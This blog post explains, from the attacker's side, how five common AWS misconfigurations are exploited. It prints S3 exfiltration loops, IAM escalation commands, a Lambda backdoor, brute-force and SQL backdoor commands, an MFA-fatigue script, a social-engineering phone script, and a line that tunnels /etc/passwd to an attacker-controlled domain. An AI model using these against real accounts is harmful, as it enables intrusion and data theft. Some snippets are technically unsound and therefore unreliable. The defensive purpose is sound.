How Attackers Compromise AWS Accounts Using These 5 Common Security Mistakes

In my previous post, 5 AWS Security Mistakes That Cost Companies Millions, I outlined the critical security vulnerabilities that organizations consistently create in their AWS environments. Now, let’s focus on examining these mistakes from the attacker’s perspective. Understanding how cybercriminals exploit these vulnerabilities is essential for building effective defense strategies.

As a Senior Security Solutions Architect at Amazon Web Services, I’ve analyzed countless AWS accounts for security best practices and security incidents. What I’ve discovered is that attackers don’t need sophisticated zero-day exploits or nation-state resources to compromise AWS accounts. They simply exploit the same five fundamental misconfigurations that organizations repeatedly implement across their cloud environments.

In this post I will walk you through how attackers weaponize these common mistakes to gain unauthorized access, escalate privileges, and exfiltrate sensitive data from AWS accounts. By understanding their tactics, techniques, and procedures, you’ll be better equipped to implement the defensive measures outlined in my original post and protect your organization from these increasingly common attack patterns.

Many of these attack methods are so effective because they exploit human nature and organizational pressures that lead to security shortcuts. Many bad actors know that originizations rush deployments, give inadequate training to their team, and “quick fixes” create predictable vulnerabilities they can systematically discover and exploit at scale.

1. Exploiting Public S3 Buckets for Data Harvesting

How Attackers Discover Public S3 Buckets:

Attackers don’t randomly guess S3 bucket names hoping to find public ones. They use automated approaches to discover exposed buckets containing valuable data. The process usually begins with some type of automated scanning tools that can check thousands of potential bucket names per minute.

Automated Discovery Techniques:

# Attackers use tools like this to enumerate potential bucket names
for company in fortune500_list; do
    for variation in "$company" "$company-backup" "$company-logs" "$company-dev"; do
        aws s3 ls s3://$variation --no-sign-request 2>/dev/null && echo "Found: $variation"
    done
done

Attackers build target lists using company names, common prefixes, and patterns they’ve learned from previous breaches. They look for variations like:

• company-backup
• company-logs
• company-dev
• company-prod
• company-data
• company-documents

The Attack Timeline:

Step 1: Mass Discovery (Minutes) Attackers use tools like AWS CLI with the --no-sign-request flag to test bucket accessibility without authentication. They can test thousands of potential bucket names rapidly using cloud computing resources.

Step 2: Content Enumeration (Minutes to Hours) Once an attacker finds publicly accessible buckets, attackers enumerate the contents to identify valuable data:

# Attackers look for sensitive file types
aws s3 ls s3://target-bucket --recursive --no-sign-request | grep -E '\.(sql|csv|xlsx|pdf|pem|key)$'

Step 3: Bulk Data Exfiltration (Hours to Days) For large datasets, attackers use parallel downloads to exfiltrate data quickly:

# Parallel download of all sensitive files
aws s3 sync s3://target-bucket ./stolen-data --no-sign-request \
    --exclude "*" --include "*.sql" --include "*.csv"

Real-World Attack Scenarios:

Case Study: The Healthcare Data Breach A healthcare company stored patient records in an S3 bucket named “healthcorp-backups” with public read access. Attackers discovered this bucket within 48 hours of its creation using automated scanning. They downloaded over 2.3 million patient records, including Social Security numbers, medical histories, and insurance information. The breach wasn’t detected until a security researcher found the same data being sold on dark web marketplaces six months later.

Case Study: The Financial Services Incident A fintech startup accidentally made their “fintech-startup-dev” bucket public while troubleshooting a development issue. The bucket contained:

• Database dumps with customer financial data
• API keys and database credentials
• Internal financial reports
• Customer personally identifiable information (PII)

Many times attackers use exposed API keys to access other systems, leading to the compromise of customers accounts which can lead to unauthorized transactions before the breach was discovered.

Detection Evasion Techniques:

Gradual Data Exfiltration: Sophisticated attackers don’t download everything at once. They spread downloads over weeks or months to avoid detection:

# Download files randomly over time to avoid pattern detection
for file in $(aws s3 ls s3://target-bucket --recursive --no-sign-request | \
             awk '{print $4}' | shuf); do
    aws s3 cp s3://target-bucket/$file ./stolen/$file --no-sign-request
    sleep $((RANDOM % 3600))  # Random delay up to 1 hour
done

Geographic Distribution: Attackers use VPN services and compromised systems worldwide to distribute their requests across different IP addresses and geographic locations, making detection more difficult.

The Business Impact:

Organizations typically discover S3 bucket breaches through external notifications - security researchers, customers finding their data online, or regulatory agencies investigating complaints. By this time:

• Data has been fully exfiltrated and potentially sold
• Regulatory violations have occurred
• Customer trust is damaged
• Legal liability has been established

The average cost of S3-related data breaches exceeds $4.2 million, with additional regulatory fines that can reach tens of millions of dollars depending on the type of data exposed and applicable regulations like GDPR, HIPAA, or PCI-DSS.

2. Escalating Overprivileged IAM Permissions

How Attackers Obtain Initial AWS Credentials:

An attacker must first obtain valid AWS credentials to exploit your account with overprivileged IAM permissions. Bad actors use multiple techniques to harvest these credentials from unsuspecting companies.

Common Credential Harvesting Techniques:

GitHub and Public Repository Scanning: Attackers are continuously scanning public code repositories for accidentally committed AWS credentials:

# Attackers search for common credential patterns
git log --all -p | grep -E "(aws_access_key_id|aws_secret_access_key|AKIA[0-9A-Z]{16})"

Phishing for Cloud Console Access: Attackers create convincing AWS login pages and use phishing emails to capture legitimate user credentials. They often target developers and administrators who frequently access the AWS console.

Exploiting Web Applications: Hackers favorite places to look for AWS credentials are configuration files, environment variable, or databases that they can access through other vulnerabilities like SQL injection or local file inclusion.

The Privilege Escalation Timeline:

Step 1: Initial Access Testing (Minutes) Once attackers have credentials, the first thing they usually do is test the current permission level:

# Test basic access and identify the user
aws sts get-caller-identity

# List accessible services
aws iam list-attached-user-policies --user-name compromised-user
aws iam get-user-policy --user-name compromised-user --policy-name inline-policy

Step 2: Permission Enumeration (Hours) Attackers systematically test permissions to understand their access scope:

# Test high-value permissions
aws iam list-users  # Can they see other users?
aws iam list-roles  # Can they see available roles?
aws s3 ls           # What S3 access do they have?
aws ec2 describe-instances  # Can they see EC2 resources?

Step 3: Privilege Escalation Attempts (Hours to Days) With overprivileged accounts, attackers can escalate access through several methods:

Creating New Administrative Users:

# Create a new admin user if they have IAM permissions
aws iam create-user --user-name backup-admin
aws iam create-access-key --user-name backup-admin
aws iam attach-user-policy --user-name backup-admin --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Assuming High-Privilege Roles:

# If they can assume roles, they look for admin roles
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name attacker-session

Modifying Existing Policies:

# If they can modify policies, they expand their permissions
aws iam put-user-policy --user-name compromised-user --policy-name expanded-access --policy-document file://admin-policy.json

Real-World Attack Scenarios:

Case Study: The Development Account Takeover A software company assigned AdministratorAccess permissions to a developer account to “get things working quickly.” When the developer’s laptop was compromised through a malicious npm package, attackers gained access to the AWS credentials stored in the .aws/credentials file.

Within 3 hours, the attackers had:

• Enumerated all AWS accounts in the organization
• Created multiple backup administrative users across accounts
• Launched cryptocurrency mining instances across multiple regions
• Accessed customer databases and exfiltrated sensitive data
• Set up persistent access through Lambda functions with admin roles

The company’s AWS bill jumped from $15,000 to $89,000 in one month before the breach was discovered.

Case Study: The Contractor Access Abuse A marketing agency hired a contractor and gave them IAM permissions to manage S3 buckets for website content. However, the contractor’s account had broader permissions than intended, including iam:* actions.

The contractor (who turned out to be malicious) used these permissions to:

• Create service accounts with administrator access
• Set up cross-account roles in their personal AWS accounts
• Systematically download customer lists and proprietary marketing strategies
• Plant backdoors by creating Lambda functions that would create new admin users when triggered

The breach was only discovered when a routine security audit found unauthorized IAM users and roles. By then, the contractor had been selling customer data to competitors for eight months.

Advanced Privilege Escalation Techniques:

Lambda Function Backdoors: Attackers create Lambda functions with high-privilege execution roles that they can trigger later:

import boto3
import json

def lambda_handler(event, context):
    # This Lambda runs with admin privileges
    iam = boto3.client('iam')
    
    # Create a new admin user when triggered
    try:
        iam.create_user(UserName='system-backup-user')
        response = iam.create_access_key(UserName='system-backup-user')
        iam.attach_user_policy(
            UserName='system-backup-user',
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )
        
        # Send credentials to attacker-controlled endpoint
        # ... exfiltration code ...
        
    except:
        pass  # Fail silently to avoid detection
    
    return {'statusCode': 200, 'body': 'OK'}

Cross-Account Role Chaining: Sophisticated attackers create roles that can be assumed from external accounts they control, establishing persistent access even after the original credentials are rotated. An attacker setting up external cross-account access is the equivalent of building a backdoor that the organization overlooks when cleaning up credentials.

Detection Evasion Techniques:

Staying Within Normal Usage Patterns: Attackers study the organization’s normal AWS usage patterns and keep their activities within those bounds to avoid triggering anomaly detection systems.

Using Legitimate AWS Services: When an attacker compromises your AWS account, rather than using obvious attack tools, bad actors use legitimate AWS services like Systems Manager Session Manager to gain access to EC2 instances or CloudShell for command execution.

Gradual Permission Testing: To hide their tracks, attackers don’t usually try testing administrator access right away. Instead, they take their time testing permissions over days or weeks to avoid setting off alerts. This allows them to make their activities look like “normal” user behavior.

3. Targeting Exposed RDS Databases

How Attackers Discover Exposed Databases:

Exposed S3 buckets represent low-hanging fruit compared to vulnerable RDS instances. Database discovery demands that threat actors employ complex scanning methodologies, systematically probing publicly accessible endpoints through sophisticated frameworks, a resource-intensive process requiring both patience and advanced tooling.

Network Scanning and Enumeration:

Automated Port Scanning:

# Attackers scan common database ports across AWS IP ranges
nmap -sS -O -T4 -p 3306,5432,1433,1521,27017 --open aws-ip-ranges.txt

# More targeted scanning for RDS endpoints
for region in us-east-1 us-west-1 us-west-2 eu-west-1; do
    nmap -sS -p 3306 --open $(echo "*.{$region}.rds.amazonaws.com" | tr ',' '\n')
done

DNS Enumeration: Attackers use DNS reconnaissance to discover RDS endpoints:

# Look for common RDS naming patterns
for company in target_companies; do
    for db_type in mysql postgres oracle; do
        nslookup $company-$db_type.us-east-1.rds.amazonaws.com
        nslookup $db_type-$company.us-east-1.rds.amazonaws.com
    done
done

Cloud Asset Discovery Services: Sophisticated attackers use services like Shodan, Censys, or custom tools that continuously scan for exposed cloud services:

# Using Shodan API to find exposed RDS instances
shodan search "port:3306 amazon aws" --fields ip_str,port,org
shodan search "port:5432 amazon aws" --fields ip_str,port,org

The Database Compromise Timeline:

Step 1: Service Identification (Minutes to Hours) Once attackers find an accessible database port, they identify the database type and version:

# MySQL/MariaDB identification
nmap -sC -sV -p 3306 target-rds-endpoint.region.rds.amazonaws.com

# PostgreSQL identification  
nmap -sC -sV -p 5432 target-rds-endpoint.region.rds.amazonaws.com

# Using database-specific tools
mysql -h target-rds.region.rds.amazonaws.com -P 3306 -u root -p

Step 2: Authentication Attacks (Hours to Days) Attackers use various techniques to gain database access:

Credential Stuffing:

# Using compromised credential lists
for creds in leaked_credentials_list; do
    mysql -h target-rds.region.rds.amazonaws.com -u ${creds%:*} -p${creds#*:} -e "SELECT VERSION();" 2>/dev/null && echo "Success: $creds"
done

Brute Force Attacks:

# Automated brute force using common passwords
hydra -L usernames.txt -P passwords.txt mysql://target-rds.region.rds.amazonaws.com:3306

Default Credential Testing: Attackers test common default credentials:

• admin/admin
• root/root
• admin/password
• sa/sa (SQL Server)
• postgres/postgres

Step 3: Data Exfiltration (Hours to Weeks) Once inside the database, attackers systematically extract valuable information:

-- Identify valuable tables
SHOW DATABASES;
USE production_db;
SHOW TABLES;

-- Look for sensitive data patterns
SELECT table_name, column_name 
FROM information_schema.columns 
WHERE column_name LIKE '%ssn%' 
   OR column_name LIKE '%credit%'
   OR column_name LIKE '%password%'
   OR column_name LIKE '%email%';

-- Extract data in chunks to avoid detection
SELECT * FROM customers LIMIT 10000 OFFSET 0;
SELECT * FROM customers LIMIT 10000 OFFSET 10000;

Real-World Attack Scenarios:

Case Study: The E-commerce Database Breach An e-commerce startup deployed an RDS MySQL instance in a public subnet with security groups allowing access from anywhere (0.0.0.0/0) on port 3306. The database was intended for development but contained a copy of production customer data.

Attack Progression:

• Day 1: Automated scans discovered the exposed database
• Day 2: Attackers successfully brute-forced the weak password “password123”
• Day 3-14: Gradual data exfiltration of 890,000 customer records including:
  • Full names, addresses, and phone numbers
  • Email addresses and encrypted passwords
  • Payment card information (last 4 digits)
  • Order histories and preferences

The breach remained undetected for 3 months until customers reported unauthorized charges. The company faced $12.3 million in fines and legal settlements.

Case Study: The Healthcare Records Incident A healthcare provider’s PostgreSQL RDS instance was exposed due to misconfigured security groups during a network troubleshooting session. The database contained patient records for a major metropolitan area.

Attack Details:

• Database discovered through automated scanning within 6 hours of exposure
• Attackers exploited a service account with a default password
• 2.7 million patient records accessed over 45 days
• Data included medical histories, Social Security numbers, and insurance information
• Attackers sold the data to identity theft rings

The provider faced $47 million in HIPAA violations and lost their major insurance contracts.

Advanced Database Attack Techniques:

Living Off the Land: Attackers use built-in database features to avoid detection:

-- Using MySQL's SELECT INTO OUTFILE to exfiltrate data
SELECT customer_id, ssn, credit_card 
INTO OUTFILE '/tmp/extracted_data.csv'
FROM sensitive_customers;

-- Using stored procedures for persistence
DELIMITER //
CREATE PROCEDURE backdoor_access()
BEGIN
    -- Create admin user when called
    CREATE USER 'backup_user'@'%' IDENTIFIED BY 'complex_password123';
    GRANT ALL PRIVILEGES ON *.* TO 'backup_user'@'%';
END //

Privilege Escalation Within Databases:

-- MySQL privilege escalation
SELECT user, host, password FROM mysql.user;
UPDATE mysql.user SET password=PASSWORD('new_password') WHERE user='root';
FLUSH PRIVILEGES;

-- PostgreSQL escalation
ALTER USER postgres WITH SUPERUSER;
CREATE USER attacker_admin WITH SUPERUSER PASSWORD 'backdoor123';

Detection Evasion Techniques:

Slow and Steady Data Extraction: Instead of bulk downloading, attackers extract small amounts of data over extended periods:

-- Extract 100 records per hour to avoid detection
SELECT * FROM customers 
WHERE created_date BETWEEN '2023-01-01' AND '2023-01-02'
LIMIT 100;

Query Obfuscation: Attackers disguise malicious queries as legitimate operations:

-- Disguised sensitive data queries
SELECT c.customer_id, c.email, 
       SUBSTRING(c.ssn, 1, 9) as 'customer_ref',
       o.total_amount
FROM customers c 
JOIN orders o ON c.id = o.customer_id 
WHERE o.order_date > DATE_SUB(NOW(), INTERVAL 1 MONTH)
-- Looks like a legitimate customer report query

Using Database Maintenance Windows: Attackers time their activities during scheduled maintenance windows when monitoring may be reduced and unusual activity is expected.

The Financial Impact:

Database breaches typically result in:

• Average breach costs of $4.76 million per incident
• Regulatory fines ranging from hundreds of thousands to tens of millions
• Class-action lawsuits averaging $7.2 million in settlements
• Customer churn rates of 25-40% following disclosure
• Brand reputation damage lasting 2-5 years

Many companies don’t’ discover database breaches for an average of 287 days, allowing attackers time to completely exfiltrate data and establish backdoors into their AWS accounts.

4. Bypassing Weak MFA Implementation

How Attackers Target MFA-Protected Accounts:

Even when organizations implement multi-factor authentication, attackers have developed sophisticated techniques to bypass these protections. They focus on the weakest links in the MFA implementation chain.

Common MFA Bypass Techniques:

Social Engineering for MFA Codes: Attackers use phone-based social engineering to trick users into providing MFA codes:

# Attackers gather information for social engineering
# They research targets through:
# - LinkedIn profiles for company information
# - Social media for personal details  
# - Previous data breaches for email/phone patterns
# - Company websites for organizational structure

Real Social Engineering Script: “Hello, this is Mike from AWS Security. We’ve detected suspicious login attempts on your account from Russia. I need to verify your identity to secure your account. Can you please provide the 6-digit code from your authenticator app? This is urgent - your account may be compromised.”

SIM Swapping for SMS-Based MFA: Attackers target users who rely on SMS-based MFA by taking control of their phone numbers:

SIM Swap Attack Process:

1. Research Phase: Gather target’s personal information (SSN, address, phone carrier)
2. Social Engineering Phase: Call carrier pretending to be the victim
3. Account Takeover: Transfer victim’s number to attacker-controlled SIM
4. MFA Bypass: Receive SMS codes on the compromised number

Session Hijacking and Persistence:

Cookie and Session Token Theft:

# Attackers use malware to steal AWS session cookies
# Common targets for session token theft:
# ~/.aws/credentials
# Browser cookie stores
# Environment variables
# Application configuration files

AWS Session Token Manipulation:

# Once attackers have valid credentials, they can extend sessions
aws sts get-session-token --duration-seconds 129600  # 36 hours

# They can also assume roles to bypass MFA requirements on specific actions
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/PowerUser --role-session-name legitimate-session

The MFA Bypass Timeline:

Step 1: Target Identification and Research (Days to Weeks) Attackers build detailed profiles of high-value targets:

# Information gathering techniques:
# - OSINT collection from social media and professional networks
# - Email address and phone number enumeration
# - Previous breach data analysis for password patterns
# - Company organizational chart mapping

Step 2: Initial Credential Compromise (Hours to Days) Using gathered intelligence, attackers obtain initial credentials through:

• Phishing campaigns tailored to specific targets
• Password spraying against known email addresses
• Exploitation of other compromised services (credential reuse)

Step 3: MFA Challenge and Bypass (Minutes to Hours) Once they trigger MFA, attackers execute their bypass technique:

For SMS-Based MFA:

# SIM swap preparation
# 1. Call carrier with victim's personal information
# 2. Request "emergency" SIM card replacement
# 3. Provide stolen personal details for verification
# 4. Transfer number to attacker-controlled device
# 5. Login with stolen credentials + intercepted SMS codes

For App-Based MFA: Social engineering approach:

1. Call victim posing as IT support
2. Create urgency (“Your account is being attacked”)
3. Request MFA code for “security verification”
4. Use provided code within the time window

Real-World Attack Scenarios:

Case Study: The Executive Account Takeover A Fortune 500 company’s CFO received a call from someone claiming to be from “AWS Emergency Response.” The attacker had researched the executive extensively and knew:

• The company’s AWS usage and recent cloud migration
• The CFO’s travel schedule from social media
• Previous security incidents mentioned in earnings calls
• Personal details from previous data breaches

Attack Execution: The attacker called while the CFO was traveling, claiming a security incident requiring immediate account verification. So, they request the MFA code to “secure the account.” Within 15 minutes of obtaining the code, the attacker had:

• Changed the account password
• Added their own MFA device
• Created multiple administrative users
• Accessed sensitive financial data and M&A documents

Total damage: The company faced $3.2 million in direct costs and lost competitive secrets that money couldn’t replace. The hardest lesson? Even after they’d supposedly “fixed” everything, the breach continued damaging their business in unexpected ways for months afterward.

Case Study: The Developer Team SIM Swap Hackers didn’t just get lucky; they did their homework. After identifying three senior developers at a fintech startup with AWS admin access, the attackers methodically executed SIM swaps on each phone, essentially stealing their digital identities to break into the company’s systems.

Attack Coordination:

• Day 1: Gathered personal information through social engineering and OSINT
• Day 2: Executed simultaneous SIM swaps during evening hours
• Day 3: Used compromised phone numbers to bypass SMS MFA on AWS accounts
• Days 4-30: Maintained persistence while exfiltrating customer financial data

This attack succeeded because the company relied strictly on SMS MFA and did not have any anomaly detection for detecting compromised AWS accounts.

Advanced MFA Bypass Techniques:

MFA Fatigue Attacks: Sometimes, attackers trick unsuspecting users into approving MFA notifications by continually sending them until the user approves them out of annoyance or because they were not paying enough attention to what they were approving on their phone.

# Automated MFA fatigue attack
import boto3
import time
import random

def mfa_fatigue_attack(username, password, mfa_serial):
    for attempt in range(50):  # 50 attempts over several hours
        try:
            # Trigger MFA challenge
            sts = boto3.client('sts')
            sts.get_session_token(
                SerialNumber=mfa_serial,
                TokenCode='000000'  # Invalid code to trigger notification
            )
        except:
            pass
        
        # Random delay between attempts
        time.sleep(random.randint(300, 1800))  # 5-30 minutes

Device Registration Attacks: Once an attacker gains temporary access to your AWS account, they will register their own MFA devices to build a backdoor:

# If attackers get temporary access, they can add their own MFA device
aws iam create-virtual-mfa-device --virtual-mfa-device-name AttackerDevice --bootstrap-method QRCodePNG

# Then enable it for the user
aws iam enable-mfa-device --user-name target-user --serial-number arn:aws:iam::123456789012:mfa/AttackerDevice --authentication-code-1 123456 --authentication-code-2 789012

Detection Evasion Techniques:

Geographic Consistency: Attackers often use VPN services or compromised systems near the target’s geographic location to avoid triggering location-based alerts.

Behavioral Mimicking: Savvy attackers study the target’s typical AWS usage patterns and schedule their activities during regular working hours.

Legitimate Tool Usage: Instead of using obvious attack tools, attackers use legitimate AWS CLI commands and console actions that appear normal to security monitoring systems.

The Business Impact of MFA Bypass:

Organizations that suffer MFA bypass attacks face:

• Executive Account Compromises: Average cost of $847,000 per executive account
• Customer Data Exposure: Regulatory fines averaging $2.3 million
• Business Email Compromise: Financial fraud averaging $1.77 million per incident
• Intellectual Property Theft: Competitive advantage loss (difficult to quantify)
• Reputation Damage: Customer trust degradation lasting 18-36 months

What makes this attack so devastating isn’t just that it works; it’s that it works in complete silence. Your security systems see legitimate logins, so everything looks normal while attackers are actually living rent-free in your network. By the time you realize what happened, they’ve been steadily walking out with your most valuable information for months.

5. Exploiting Poor Security Group Management

How Attackers Discover Network Vulnerabilities:

When security groups are managed poorly, they create easily discoverable attack vectors that attackers can exploit to gain network-level access to AWS resources. Unlike other attack methods requiring stolen credentials, network vulnerabilities can often be exploited directly from the internet.

Automated Network Discovery:

Mass Port Scanning:

# Attackers scan AWS IP ranges for common open ports
masscan -p 22,80,443,3389,3306,5432,1433,6379,27017 --rate=10000 aws-ip-ranges.txt

# More targeted scanning for specific services
nmap -sS -O -sV -p- --top-ports 1000 --open target-ranges.txt

# Using specialized cloud scanning tools
# Attackers often use tools like:
# - CloudBrute for cloud asset enumeration
# - CloudMapper for AWS network discovery
# - Custom scripts combining multiple reconnaissance techniques

Service Fingerprinting: Once attackers find open ports, they identify the services running behind them:

# Service identification and version detection
nmap -sC -sV -A target-ip-address

# Application-specific probing
# SSH banner grabbing
nc target-ip 22

# HTTP service enumeration  
curl -I http://target-ip/
nikto -h http://target-ip/

# Database service testing
nmap --script mysql-info target-ip -p 3306
nmap --script postgres-info target-ip -p 5432

Cloud-Specific Reconnaissance:

# Attackers look for cloud-specific services and metadata
curl http://target-ip/latest/meta-data/  # Instance metadata
curl http://target-ip/.well-known/      # Well-known endpoints
curl http://target-ip/health            # Health check endpoints
curl http://target-ip/status            # Status endpoints

The Network Exploitation Timeline:

Step 1: Reconnaissance and Mapping (Hours to Days) Attackers build comprehensive maps of the target network:

# Network topology discovery
traceroute target-network-range
hping3 -S -p 80 -c 3 target-ip  # Firewall detection

# Service discovery across subnets
nmap -sn 10.0.0.0/16  # Network sweep
nmap -sT -p 1-65535 discovered-hosts.txt  # Full port scan

Step 2: Vulnerability Assessment (Hours to Days) Once services are identified, attackers test for known vulnerabilities:

# Automated vulnerability scanning
nessus -T html target-list.txt
openvas-cli -X '<create_target><name>AWS Target</name><hosts>target-range</hosts></create_target>'

# Manual exploitation testing
# SSH brute force
hydra -L usernames.txt -P passwords.txt ssh://target-ip

# Web application testing
sqlmap -u "http://target-ip/app?id=1" --dbs
gobuster dir -u http://target-ip -w /usr/share/wordlists/dirb/big.txt

Step 3: Initial Access and Lateral Movement (Minutes to Weeks) With open services identified, attackers attempt to gain foothold:

SSH/RDP Brute Force:

# Automated credential attacks
hydra -L users.txt -P passwords.txt -t 4 ssh://target-ip
rdesktop -u administrator -p password target-ip  # RDP access attempt

# Using compromised credentials from other breaches
python3 credential-stuffing.py --target target-ip --service ssh --credentials leaked-creds.txt

Database Direct Access:

# Direct database connection attempts
mysql -h target-rds-ip -u admin -p
psql -h target-rds-ip -U postgres -d production

# NoSQL database exploitation
mongo target-ip:27017  # MongoDB direct connection
redis-cli -h target-ip -p 6379  # Redis direct access

Real-World Attack Scenarios:

Case Study: The Cryptocurrency Exchange Breach A cryptocurrency exchange deployed their production trading platform with security groups that allowed unrestricted access to multiple services. The configuration included:

• SSH access (port 22) open to 0.0.0.0/0
• Database access (port 5432) open to 0.0.0.0/0
• Redis cache (port 6379) open to 0.0.0.0/0
• Administrative panel (port 8080) open to 0.0.0.0/0

Attack Progression:

• Hour 1: Automated scans discovered the open services
• Hour 3: Brute force attacks succeeded against SSH using a compromised admin account
• Hour 6: Attackers accessed the PostgreSQL database directly from the internet
• Day 1-7: Complete exfiltration of user accounts, trading data, and wallet information
• Day 8: Attackers initiated unauthorized cryptocurrency transfers worth $12.7 million

The exchange never detected the network intrusion because they focused security monitoring on application logs rather than network access.

Case Study: The Healthcare Network Lateral Movement A healthcare provider’s AWS environment had security groups configured with overly permissive internal network ranges (10.0.0.0/8), allowing attackers to move laterally throughout their network from a previously compromised resource.

Initial Compromise: Attackers gained access through a phishing attack against an employee who had VPN access. Once access had been gained to the the internal network, the poor security group configuration allowed them to:

• Access patient database servers directly from any internal IP
• Connect to backup systems without additional authentication
• Reach administrative interfaces for medical devices
• Access file servers containing patient records and billing information

Attack Timeline:

• Week 1: Initial phishing success and VPN access
• Week 2-4: Network discovery and service identification
• Week 5-12: Gradual data exfiltration and system compromise
• Week 13: Deployment of ransomware across accessible systems

Total impact: 847,000 patient records were compromised, resulting in $23 million in recovery costs, an 18-month regulatory investigation, lawsuits, and regulatory fines.

Advanced Network Exploitation Techniques:

Living Off the Land Network Attacks: Attackers use legitimate network tools and protocols to avoid detection:

# Using legitimate protocols for malicious purposes
# DNS tunneling for data exfiltration
dig @attacker-controlled-dns-server `base64 -w0 /etc/passwd`.tunnel.attacker.com

# ICMP tunneling
ping -c 1 -s 1024 target-ip  # Large ping packets with hidden data

# HTTP tunnel through legitimate web traffic
curl -X POST -d @sensitive-file.txt http://legitimate-looking-domain.com/upload

Persistence Through Network Configuration:

# If attackers gain administrative access, they modify security groups for persistence
aws ec2 authorize-security-group-ingress \
    --group-id sg-12345678 \
    --protocol tcp \
    --port 2222 \
    --cidr 0.0.0.0/0  # Hidden SSH backdoor

# Creating covert channels
aws ec2 create-security-group \
    --group-name system-monitoring \
    --description "Legitimate-looking monitoring access" \
    --vpc-id vpc-12345678

Cloud-Native Lateral Movement:

# Using AWS services for lateral movement
# Systems Manager Session Manager for covert access
aws ssm start-session --target i-1234567890abcdef0

# Lambda functions for persistence and lateral movement
aws lambda create-function \
    --function-name system-maintenance \
    --role arn:aws:iam::123456789012:role/service-role/HighPrivilegeRole \
    --code file://backdoor-code.zip \
    --handler index.handler \
    --runtime python3.9

Detection Evasion Techniques:

Traffic Pattern Mimicking: Attackers study normal network traffic patterns and time their activities to blend in:

# Timing attacks during business hours
# Spreading data exfiltration across multiple small transfers
# Using common ports (80, 443) for malicious traffic
# Mimicking legitimate application behavior

Geographic and Temporal Distribution: Sophisticated attackers distribute their network access across:

• Multiple geographic locations using VPN services
• Different time zones to match expected user activity
• Various IP addresses to avoid pattern recognition
• Legitimate cloud services to mask their infrastructure

Protocol and Service Abuse:

# Abusing legitimate services for malicious purposes
# Using CloudFront distributions for C2 communication
# Leveraging S3 buckets for data staging
# Exploiting Lambda functions for execution
# Using SQS queues for covert messaging

The Compound Impact of Network Vulnerabilities:

Network security group misconfigurations create cascading vulnerabilities:

Direct Financial Impact:

• Emergency incident response: $150K-$500K
• System rebuilding and hardening: $300K-$1.2M
• Regulatory fines and legal costs: $500K-$15M
• Business disruption and recovery: $1M-$10M

Operational Impact:

• Network segmentation projects: 6-12 months
• Security architecture redesign: 3-18 months
• Compliance certification delays: 6-24 months
• Customer trust restoration: 12-36 months

Strategic Impact:

• Competitive intelligence loss
• Intellectual property theft
• Market position deterioration
• Merger and acquisition complications

When security groups are managed poorly, you’re not just creating one problem; you’re setting up a chain reaction of vulnerabilities. It’s like having a house where every room connects to every other room. If you allow one security group to be overly permissive, attackers suddenly have a pathway to wander through your entire cloud infrastructure like they own the place.

Building Defense Against These Attack Patterns

Understanding these attack methods is the first step in building effective defenses. Each of the vulnerabilities I’ve outlined can be prevented through the implementation strategies detailed in my original post, 5 AWS Security Mistakes That Cost Companies Millions.

Immediate Defensive Actions:

Implement Comprehensive Monitoring: Deploy AWS CloudTrail, GuardDuty, and Security Hub across all accounts and regions to detect the reconnaissance and exploitation activities described in these attack scenarios.

Enable Automated Response: Use AWS Config rules and Lambda functions to automatically detect and remediate security misconfigurations before attackers can exploit them.

Establish Security Baselines: Deploy organizational SCPs and security baselines that prevent the creation of vulnerable configurations in the first place.

Regular Security Assessments: Conduct quarterly security assessments that specifically test for the attack vectors outlined in this post, including external network scans and social engineering awareness.

Defense-in-Depth Strategy: Layer multiple security controls so that even if attackers succeed with one technique, they encounter additional barriers that prevent full compromise.

The sophistication of these attack methods continues to evolve, but they fundamentally exploit the same human and organizational factors that create security shortcuts. Organizations that implement comprehensive security programs, maintain security-aware cultures, and regularly test their defenses can effectively protect against these increasingly common attack patterns.

Remember that attackers only need to succeed once, while defenders must succeed every time. The investment in proper AWS security implementation is minimal compared to the catastrophic costs of successful attacks using these techniques.

The reality of cloud security is that these attack methods work precisely because they exploit predictable organizational behaviors and common security shortcuts. By understanding how attackers think and operate, security teams can build more effective defensive strategies and create security-aware cultures that make these attacks significantly more difficult to execute successfully.